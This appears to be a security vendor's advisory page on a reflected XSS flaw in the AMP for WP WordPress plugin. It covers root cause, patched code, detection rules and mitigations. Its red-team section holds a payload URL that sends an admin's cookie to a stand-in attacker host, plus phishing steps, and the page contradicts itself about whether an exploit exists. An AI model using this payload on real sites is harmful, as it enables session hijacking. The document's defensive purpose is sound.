CVE-2024-11254
Executive Summary
CVE-2024-11254 is a reflected cross-site scripting (XSS) vulnerability in the AMP for WP – Accelerated Mobile Pages plugin for WordPress, affecting all versions up to and including 1.1.1. The flaw resides in the disqus_name parameter, which is insufficiently sanitized before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is classified as medium severity (CVSS 6.1) and currently has no known public exploit or patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Impact
As a WordPress plugin vulnerability, this affects sites using the AMP for WP plugin. Attackers can target any user with the ability to view the vulnerable page, but the most severe impact occurs when an administrator is tricked into clicking the malicious link, potentially granting the attacker full control over the WordPress installation.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the reflection.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component (e.g., admin cookies).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is 6.1, the lack of authentication requirements and the potential for admin-level compromise elevate the risk for unpatched sites.
Deep Dive & Mechanics
The vulnerability exists in the disqus_name parameter, likely used for displaying a user's Disqus comment name. The plugin fails to properly validate or escape this parameter before outputting it in the HTML response. An attacker can inject a payload such as:
?disqus_name=<script>alert('XSS')</script>
When the victim visits the crafted URL, the browser renders the injected script, executing arbitrary JavaScript. The reflection occurs in the context of the WordPress admin area, allowing the script to access cookies, local storage, and perform actions on behalf of the victim.
Root Cause: Insufficient input validation and lack of output encoding for the disqus_name parameter. The plugin likely uses echo $_GET['disqus_name'] or similar without proper sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical):
// In a template or shortcode handler
$disqus_name = $_GET['disqus_name'];
echo "<div class='disqus-name'>" . $disqus_name . "</div>";
Patched Code (expected):
$disqus_name = isset($_GET['disqus_name']) ? sanitize_text_field($_GET['disqus_name']) : '';
echo "<div class='disqus-name'>" . esc_html($disqus_name) . "</div>";
The patch would use sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities before output.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress 6.x with AMP for WP plugin version 1.1.1.
- Ensure the plugin is active and the vulnerable page is accessible (e.g., a post or page that includes the Disqus integration).
Exploit Payload:
http://target.com/wp-admin/admin-ajax.php?action=ampforwp_disqus&disqus_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Steps:
- Craft the malicious URL with the XSS payload.
- Send the link to a logged-in administrator via email or social engineering.
- When the admin clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.
- Use the stolen cookie to hijack the admin session.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
disqus_name=followed by suspicious characters like<,>,script,onerror, etc. - Use WAF rules to block requests with obvious XSS patterns in the
disqus_nameparameter.
Mitigation:
- Immediately disable the AMP for WP plugin if no patch is available.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS attempts.
- Educate users about phishing links and the dangers of clicking untrusted URLs.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
disqus_name=<script>or similar XSS patterns. - Outbound connections to unknown domains from the WordPress server (data exfiltration).
- HTTP requests containing
- File IOCs:
- Modified WordPress core files or plugin files (e.g.,
wp-content/plugins/accelerated-mobile-pages/). - Suspicious JavaScript files in the uploads directory.
- Modified WordPress core files or plugin files (e.g.,
- Log IOCs:
- Repeated 404 errors for non-existent pages with
disqus_nameparameter. - Admin login attempts from unusual IP addresses after the XSS execution.
- Repeated 404 errors for non-existent pages with
Detection Engineering
YARA Rule
rule CVE_2024_11254_XSS {
meta:
description = "Detects reflected XSS attempts against AMP for WP disqus_name parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11254"
strings:
$xss_payload = /disqus_name=.*(<|%3C|\\x3C).*(script|img|onerror|onload|alert|prompt|confirm)/
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS via AMP for WP disqus_name Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS patterns in the disqus_name parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "disqus_name="
cs-uri-query|re: "(<|%3C|\\x3C).*(script|img|onerror|onload|alert|prompt|confirm)"
condition: selection
falsepositives:
- Legitimate use of HTML in Disqus names (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11254 Reflected XSS in AMP for WP disqus_name"; flow:to_server,established; content:"disqus_name="; http_uri; pcre:"/(<|%3C|\\x3C).*(script|img|onerror|onload|alert|prompt|confirm)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a WAF rule to block requests containing
disqus_name=with HTML tags. - Review server logs for signs of exploitation.
Long-Term Fix:
- The vendor must release a patched version that properly sanitizes the
disqus_nameparameter usingsanitize_text_field()andesc_html(). - Alternatively, remove the vulnerable functionality entirely.
Workaround:
- Edit the plugin file (if you must keep it active) to add input validation:
Then replace all direct echoes with$disqus_name = isset($_GET['disqus_name']) ? sanitize_text_field($_GET['disqus_name']) : '';esc_html($disqus_name).
Valters IT
Cyber Threat Intelligence & DevSecOps
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.